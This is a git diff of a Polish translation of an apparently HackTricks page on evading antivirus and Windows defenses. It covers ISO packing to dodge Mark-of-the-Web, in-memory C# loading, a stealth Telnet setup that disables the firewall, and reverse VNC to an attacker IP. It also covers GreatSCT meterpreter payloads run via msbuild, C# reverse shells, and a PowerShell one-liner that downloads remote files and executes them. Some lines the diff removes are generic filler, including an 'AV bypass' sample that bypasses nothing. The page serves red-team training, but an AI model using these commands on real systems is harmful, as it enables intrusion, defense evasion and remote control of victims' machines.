* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to zaawansowany framework maskowania kodu na poziomie kodu asemblera dla języków obsługiwanych przez LLVM, wykorzystujący ROP (programowanie zwracające się). ROPfuscator maskuje program na poziomie kodu asemblera, zamieniając zwykłe instrukcje w łańcuchy ROP, zwalczając nasze naturalne pojęcie normalnego przepływu sterowania.
|
||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt to krypter .NET PE napisany w Nim
|
||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi przekształcić istniejące pliki EXE/DLL w kod shellcode, a następnie je załadować
|
||||
|
||||
## SmartScreen i MoTW
|
||||
## SmartScreen & MoTW
|
||||
|
||||
Być może widziałeś ten ekran podczas pobierania niektórych plików wykonywalnych z internetu i uruchamiania ich.
|
||||
Możesz spotkać ten ekran podczas pobierania niektórych plików wykonywalnych z internetu i ich uruchamiania.
|
||||
|
||||
Microsoft Defender SmartScreen to mechanizm bezpieczeństwa, który ma na celu ochronę użytkownika końcowego przed uruchamianiem potencjalnie złośliwych aplikacji.
|
||||
Microsoft Defender SmartScreen to mechanizm bezpieczeństwa mający na celu ochronę użytkownika końcowego przed uruchamianiem potencjalnie złośliwych aplikacji.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen głównie działa na podstawie reputacji, co oznacza, że pobieranie niezwykłych aplikacji spowoduje uruchomienie SmartScreen, co ostrzeże i uniemożliwi użytkownikowi uruchomienie pliku (choć plik nadal można uruchomić, klikając Więcej informacji -> Uruchom mimo to).
|
||||
SmartScreen głównie działa w oparciu o podejście oparte na reputacji, co oznacza, że pobieranie aplikacji rzadkości spowoduje uruchomienie SmartScreen, co ostrzeże i uniemożliwi użytkownikowi końcowemu uruchomienie pliku (choć plik można nadal uruchomić, klikając Więcej informacji -> Uruchom mimo to).
|
||||
|
||||
**MoTW** (Mark of The Web) to [Alternatywny Strumień Danych NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) o nazwie Zone.Identifier, który automatycznie tworzony jest podczas pobierania plików z internetu, wraz z adresem URL, z którego zostały pobrane.
|
||||
**MoTW** (Mark of The Web) to [Alternatywny Strumień Danych NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) o nazwie Zone.Identifier, który jest automatycznie tworzony podczas pobierania plików z internetu, wraz z adresem URL, z którego został pobrany.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>Sprawdzanie alternatywnego strumienia danych Zone.Identifier dla pliku pobranego z internetu.</p></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Warto zauważyć, że pliki wykonywalne podpisane **zaufanym** certyfikatem **nie uruchamiają SmartScreen**.
|
||||
Warto zauważyć, że pliki wykonywalne podpisane **zaufanym** certyfikatem **nie spowodują uruchomienia SmartScreen**.
|
||||
{% endhint %}
|
||||
|
||||
Bardzo skutecznym sposobem na uniknięcie oznaczenia Mark of The Web dla twoich payloadów jest umieszczenie ich wewnątrz jakiegoś rodzaju kontenera, na przykład ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowany do woluminów **nie NTFS**.
|
||||
Bardzo skutecznym sposobem zapobiegania otrzymywaniu Mark of The Web przez twoje ładunki jest umieszczenie ich w pewnego rodzaju kontenerze, na przykład w ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowany do **woluminów nie NTFS**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (12) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) to narzędzie, które pakuje payloady do kontenerów wyjściowych, aby uniknąć oznaczenia Mark-of-the-Web.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) to narzędzie, które pakuje ładunki do kontenerów wyjściowych, aby uniknąć otrzymywania Mark-of-the-Web.
|
||||
|
||||
Przykładowe użycie:
|
||||
```powershell
|
||||
|
@ -273,80 +282,72 @@ Adding file: /TotallyLegitApp.exe
|
|||
|
||||
[+] Generated file written to (size: 3420160): container.iso
|
||||
```
|
||||
Oto demo omijania SmartScreen poprzez umieszczanie ładunków wewnątrz plików ISO za pomocą [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
|
||||
Oto demo omijania SmartScreen poprzez pakowanie ładunków w plikach ISO za pomocą [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Refleksja zestawu C#
|
||||
## Refleksja Zbioru C# Assembly
|
||||
|
||||
Ładowanie binarnych plików C# w pamięci jest znane od dłuższego czasu i wciąż jest bardzo dobrym sposobem na uruchamianie narzędzi po eksploatacji bez wykrycia przez AV.
|
||||
Ładowanie binarnych plików C# do pamięci jest znane od dłuższego czasu i nadal jest bardzo dobrym sposobem uruchamiania narzędzi post-eksploatacyjnych bez wykrycia przez AV.
|
||||
|
||||
Ponieważ ładunek zostanie załadowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli jedynie martwić się o patchowanie AMSI dla całego procesu.
|
||||
|
||||
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, itp.) już umożliwia wykonanie zestawów C# bezpośrednio w pamięci, ale istnieją różne sposoby na to:
|
||||
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, itp.) już umożliwia wykonanie zbiorów C# bezpośrednio w pamięci, ale istnieją różne sposoby tego dokonania:
|
||||
|
||||
* **Fork\&Run**
|
||||
|
||||
Polega na **uruchomieniu nowego procesu ofiarnego**, wstrzyknięciu złośliwego kodu po eksploatacji do tego nowego procesu, wykonaniu złośliwego kodu i po zakończeniu zabicia nowego procesu. Metoda fork and run ma swoje zalety i wady. Zaletą tej metody jest to, że wykonanie odbywa się **poza** naszym procesem implantu Beacon. Oznacza to, że jeśli coś pójdzie nie tak lub zostanie wykryte w naszej akcji po eksploatacji, istnieje **dużo większa szansa** na **przeżycie implantu**. Wada polega na **większym ryzyku** wykrycia przez **wykrywanie zachowań**.
|
||||
Polega na **uruchomieniu nowego procesu ofiarnego**, wstrzyknięciu złośliwego kodu post-eksploatacyjnego do tego nowego procesu, wykonaniu złośliwego kodu i po zakończeniu zabicia nowego procesu. Metoda fork and run ma swoje zalety i wady. Zaletą tej metody jest to, że wykonanie następuje **poza** naszym procesem implantu Beacon. Oznacza to, że jeśli coś pójdzie nie tak lub zostanie wykryte w naszej akcji post-eksploatacyjnej, istnieje **dużo większa szansa** na **przeżycie naszego implantu.** Wada polega na **większej szansie** na wykrycie przez **Wykrywanie Zachowań**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **Inline**
|
||||
|
||||
Polega na wstrzyknięciu złośliwego kodu po eksploatacji **do własnego procesu**. W ten sposób można uniknąć konieczności tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie nie tak podczas wykonywania ładunku, istnieje **dużo większa szansa** na **utratę beaconu**, ponieważ może on ulec awarii.
|
||||
Polega na wstrzyknięciu złośliwego kodu post-eksploatacyjnego **do własnego procesu**. W ten sposób można uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wada polega na tym, że jeśli coś pójdzie nie tak podczas wykonywania ładunku, istnieje **dużo większa szansa** na **utrata Beacon**, ponieważ może on się zawiesić.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (9) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Jeśli chcesz dowiedzieć się więcej o ładowaniu zestawów C#, zapoznaj się z tym artykułem [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) i ich InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
Jeśli chcesz dowiedzieć się więcej o ładowaniu zbiorów C#, zapoznaj się z tym artykułem [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) oraz ich InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
{% endhint %}
|
||||
|
||||
Można również ładować zestawy C# **z poziomu PowerShell**, sprawdź [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) i [wideo S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
Możesz również ładować zbiory C# **z poziomu PowerShell**, sprawdź [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) oraz [film S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Użycie innych języków programowania
|
||||
## Korzystanie z Innych Języków Programowania
|
||||
|
||||
Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonywanie złośliwego kodu za pomocą innych języków, udostępniając zainfekowanemu komputerowi dostęp **do środowiska interpretera zainstalowanego na kontrolowanym przez atakującego udziale SMB**. 
|
||||
Zaproponowane w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), jest możliwe wykonanie złośliwego kodu za pomocą innych języków, udostępniając zainfekowanej maszynie dostęp **do środowiska interpretera zainstalowanego na kontrolowanym przez atakującego udziale SMB**. 
|
||||
|
||||
Pozwalając na dostęp do binarnych interpreterów i środowiska na udziale SMB, można **wykonywać dowolny kod w tych językach w pamięci** zainfekowanego komputera.
|
||||
Pozwalając na dostęp do binarnych interpreterów i środowiska na udziale SMB, można **wykonać dowolny kod w tych językach w pamięci** zainfekowanej maszyny.
|
||||
|
||||
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale korzystając z Go, Java, PHP itp. mamy **większą elastyczność w omijaniu statycznych sygnatur**. Testowanie losowych niezobfuskowanych skryptów powrotnych powłok w tych językach okazało się skuteczne.
|
||||
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale korzystając z Go, Java, PHP itp. mamy **większą elastyczność w omijaniu statycznych sygnatur**. Testowanie losowych niezaciemnionych skryptów powłoki odwróconej w tych językach udowodniło swoją skuteczność.
|
||||
|
||||
## Zaawansowane unikanie
|
||||
## Zaawansowane Unikanie
|
||||
|
||||
Unikanie jest bardzo skomplikowanym tematem, czasami trzeba uwzględnić wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest całkowite pozostanie niewykrytym w dojrzałych środowiskach.
|
||||
Unikanie jest bardzo skomplikowanym tematem, czasami trzeba wziąć pod uwagę wiele różnych źródeł telemetrii w jednym systemie, więc jest praktycznie niemożliwe pozostanie całkowicie niezauważonym w dojrzałych środowiskach.
|
||||
|
||||
Każde środowisko, z którym się spotykasz, ma swoje własne mocne i słabe strony.
|
||||
Każde środowisko, z którym się zetkniesz, będzie miało swoje mocne i słabe strony.
|
||||
|
||||
Gorąco zachęcam do obejrzenia tej prezentacji od [@ATTL4S](https://twitter.com/DaniLJ94), aby uzyskać wgląd w bardziej zaawansowane techniki unikania.
|
||||
Gorąco zachęcam do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/DaniLJ94), aby uzyskać wgląd w bardziej zaawansowane techniki unikania.
|
||||
|
||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||
|
||||
To również kolejna świetna prezentacja od [@mariuszbit](https://twitter.com/mariuszbit) na temat unikania w głębi.
|
||||
To również świetne wystąpienie od [@mariuszbit](https://twitter.com/mariuszbit) na temat Unikania w Głębi.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||
|
||||
## **Stare techniki**
|
||||
## **Stare Techniki**
|
||||
|
||||
### **Sprawdź, które części Defender uznaje za złośliwe**
|
||||
|
||||
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binarne**, aż **dowie się, którą część Defender** uznaje za złośliwą i podzieli ją dla ciebie.\
|
||||
Inne narzędzie, które robi **to samo, to** [**avred**](https://github.com/dobin/avred) z otwartą usługą w sieci [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Serwer Telnet**
|
||||
|
||||
Do Windows 10 wszystkie wersje systemu Windows miały **serwer Telnet**, który można było zainstalować (jako administrator) wykonując:
|
||||
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binarne**, aż **dowie się, która część Defendera** uznaje za złośliwą i podzieli ją dla Ciebie.\
|
||||
Innym narzędziem robiącym **to samo jest** [**avred**](https://github.com/dobin/avred) z otwartą ofertą usługi w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
Uruchom go **automatycznie** przy uruchamianiu systemu i **uruchom** go teraz:
|
||||
Uruchom go **po uruchomieniu** systemu i **uruchom** go teraz:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**Zmień port telnet** (stealth) i wyłącz zaporę ogniową:
|
||||
|
||||
Aby zwiększyć bezpieczeństwo, zaleca się zmianę domyślnego portu telnet. Możesz to zrobić, edytując plik konfiguracyjny usługi telnet i zmieniając wartość portu na inny niż domyślny. Należy pamiętać, że porty poniżej 1024 są zarezerwowane dla uprzywilejowanych usług systemowych, dlatego warto wybrać port spoza tego zakresu.
|
||||
|
||||
Dodatkowo, wyłączenie zapory ogniowej może zwiększyć podatność na ataki, dlatego zaleca się zachowanie ostrożności i przemyślane podejście do tej decyzji. Jeśli jednak zdecydujesz się wyłączyć zaporę ogniową, upewnij się, że masz inne środki bezpieczeństwa, które zabezpieczą Twoją sieć przed nieautoryzowanym dostępem.
|
||||
**Zmień port telnet** (stealth) i wyłącz zapory sieciowe:
|
||||
```
|
||||
tlntadmn config port=80
|
||||
netsh advfirewall set allprofiles state off
|
||||
|
@ -361,17 +362,17 @@ Pobierz go z: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/
|
|||
* Ustaw hasło w _VNC Password_
|
||||
* Ustaw hasło w _View-Only Password_
|
||||
|
||||
Następnie przenieś plik binarny _**winvnc.exe**_ i **nowo** utworzony plik _**UltraVNC.ini**_ do **ofiary**
|
||||
Następnie przenieś plik binarny _**winvnc.exe**_ oraz **nowo** utworzony plik _**UltraVNC.ini**_ do **ofiary**
|
||||
|
||||
#### **Połączenie odwrotne**
|
||||
|
||||
**Atakujący** powinien **uruchomić** na swoim **hostingu** plik binarny `vncviewer.exe -listen 5900`, aby był **gotowy** do przechwycenia odwrotnego połączenia **VNC**. Następnie, w **ofierze**: Uruchom demona winvnc `winvnc.exe -run` i uruchom `winwnc.exe [-autoreconnect] -connect <adres_ip_atakującego>::5900`
|
||||
**Atakujący** powinien **wykonać wewnątrz** swojego **hostingu** plik binarny `vncviewer.exe -listen 5900`, aby był **gotowy** do przechwycenia odwrotnej **łączności VNC**. Następnie, wewnątrz **ofiary**: Uruchom demona winvnc `winvnc.exe -run` i uruchom `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**OSTRZEŻENIE:** Aby utrzymać ukrycie, nie wykonuj kilku czynności
|
||||
**OSTRZEŻENIE:** Aby zachować ukrycie, musisz unikać kilku rzeczy
|
||||
|
||||
* Nie uruchamiaj `winvnc`, jeśli już działa, w przeciwnym razie wywołasz [okienko](https://i.imgur.com/1SROTTl.png). Sprawdź, czy działa za pomocą `tasklist | findstr winvnc`
|
||||
* Nie uruchamiaj `winvnc` bez pliku `UltraVNC.ini` w tym samym katalogu, w przeciwnym razie spowoduje to otwarcie [okna konfiguracji](https://i.imgur.com/rfMQWcf.png)
|
||||
* Nie uruchamiaj `winvnc -h` w celu uzyskania pomocy, w przeciwnym razie wywołasz [okienko](https://i.imgur.com/oc18wcu.png)
|
||||
* Nie uruchamiaj `winvnc`, jeśli już działa, w przeciwnym razie wywołasz [okienko popup](https://i.imgur.com/1SROTTl.png). Sprawdź, czy działa, używając `tasklist | findstr winvnc`
|
||||
* Nie uruchamiaj `winvnc` bez pliku `UltraVNC.ini` w tym samym katalogu, w przeciwnym razie spowoduje to otwarcie [okna konfiguracyjnego](https://i.imgur.com/rfMQWcf.png)
|
||||
* Nie uruchamiaj `winvnc -h` dla pomocy, w przeciwnym razie wywołasz [okienko popup](https://i.imgur.com/oc18wcu.png)
|
||||
|
||||
### GreatSCT
|
||||
|
||||
|
@ -384,26 +385,6 @@ cd ..
|
|||
./GreatSCT.py
|
||||
```
|
||||
Wewnątrz GreatSCT:
|
||||
|
||||
GreatSCT to narzędzie, które umożliwia tworzenie skryptów do omijania ochrony antywirusowej. Działa na platformie PowerShell i oferuje wiele funkcji, które mogą być wykorzystane do tworzenia zaawansowanych technik omijania AV.
|
||||
|
||||
### Tworzenie skryptów
|
||||
|
||||
GreatSCT umożliwia tworzenie skryptów w języku PowerShell, które mogą być używane do omijania ochrony antywirusowej. Można tworzyć skrypty, które wykorzystują różne techniki, takie jak kodowanie, szyfrowanie i zmienianie nazw plików, aby uniknąć wykrycia przez AV.
|
||||
|
||||
### Generowanie payloadów
|
||||
|
||||
GreatSCT pozwala na generowanie payloadów, które mogą być używane do wykonywania różnych działań, takich jak zdalne uruchamianie kodu, przechwytywanie ekranu, przechwytywanie dźwięku itp. Payloady są generowane w taki sposób, aby omijać ochronę antywirusową i umożliwiać wykonanie żądanych działań na celu.
|
||||
|
||||
### Testowanie skuteczności
|
||||
|
||||
GreatSCT oferuje również narzędzia do testowania skuteczności omijania ochrony antywirusowej. Można użyć tych narzędzi, aby sprawdzić, czy stworzone skrypty i payloady są w stanie uniknąć wykrycia przez AV. Testowanie skuteczności jest ważne, aby upewnić się, że nasze techniki omijania AV są skuteczne i nie zostaną wykryte.
|
||||
|
||||
### Integracja z innymi narzędziami
|
||||
|
||||
GreatSCT może być również zintegrowane z innymi narzędziami, takimi jak Metasploit, aby umożliwić bardziej zaawansowane ataki. Można użyć GreatSCT do generowania payloadów, które mogą być wykorzystane w atakach za pomocą Metasploit, co zwiększa skuteczność ataku i umożliwia omijanie ochrony antywirusowej.
|
||||
|
||||
GreatSCT jest potężnym narzędziem, które może być wykorzystane do tworzenia zaawansowanych technik omijania ochrony antywirusowej. Dzięki jego funkcjom i możliwościom, jest to narzędzie, które powinno być brane pod uwagę przez każdego hakerów, którzy chcą unikać wykrycia przez AV i przeprowadzać skuteczne ataki.
|
||||
```
|
||||
use 1
|
||||
list #Listing available payloads
|
||||
|
@ -413,15 +394,15 @@ sel lport 4444
|
|||
generate #payload is the default name
|
||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||
```
|
||||
Teraz **uruchom lister** za pomocą polecenia `msfconsole -r file.rc` i **wykonaj** **payload xml** za pomocą:
|
||||
Teraz **uruchom nasłuchiwacz** za pomocą `msfconsole -r file.rc` i **wykonaj** **payload xml** za pomocą:
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
**Obecny obrońca szybko zakończy proces.**
|
||||
|
||||
### Kompilowanie naszego własnego odwróconego powłoki
|
||||
### Kompilowanie własnego odwróconego powłoki
|
||||
|
||||
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### Pierwsza odwrócona powłoka C#
|
||||
|
||||
|
@ -506,69 +487,15 @@ catch (Exception err) { }
|
|||
}
|
||||
}
|
||||
```
|
||||
### Użycie kompilatora C#
|
||||
|
||||
Aby obejść ochronę przed antywirusami, można skorzystać z kompilatora C#.
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Diagnostics;
|
||||
using Microsoft.CSharp;
|
||||
|
||||
namespace AVBypass
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
string code = @"
|
||||
using System;
|
||||
|
||||
namespace AVBypass
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
Console.WriteLine(""Hello, World!"");
|
||||
}
|
||||
}
|
||||
}
|
||||
";
|
||||
|
||||
CSharpCodeProvider provider = new CSharpCodeProvider();
|
||||
CompilerParameters parameters = new CompilerParameters();
|
||||
parameters.GenerateExecutable = true;
|
||||
parameters.OutputAssembly = "AVBypass.exe";
|
||||
|
||||
CompilerResults results = provider.CompileAssemblyFromSource(parameters, code);
|
||||
|
||||
if (results.Errors.HasErrors)
|
||||
{
|
||||
foreach (CompilerError error in results.Errors)
|
||||
{
|
||||
Console.WriteLine(error.ErrorText);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Process.Start("AVBypass.exe");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Ten kod używa kompilatora C# do generowania pliku wykonywalnego, który może obejść ochronę antywirusową.
|
||||
### C# za pomocą kompilatora
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
[Plik REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
|
||||
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
|
||||
|
||||
[Plik REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||
|
||||
Automatyczne pobieranie i wykonanie:
|
||||
Automatyczne pobranie i wykonanie:
|
||||
```csharp
|
||||
64bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
|
@ -593,6 +520,10 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
|||
* [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
* [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Korzystanie z pythona do budowy przykładowych wstrzykiwaczy:
|
||||
|
||||
* [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
### Inne narzędzia
|
||||
```bash
|
||||
# Veil Framework:
|
||||
|
@ -624,14 +555,14 @@ https://github.com/praetorian-code/vulcan
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS Red Team z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue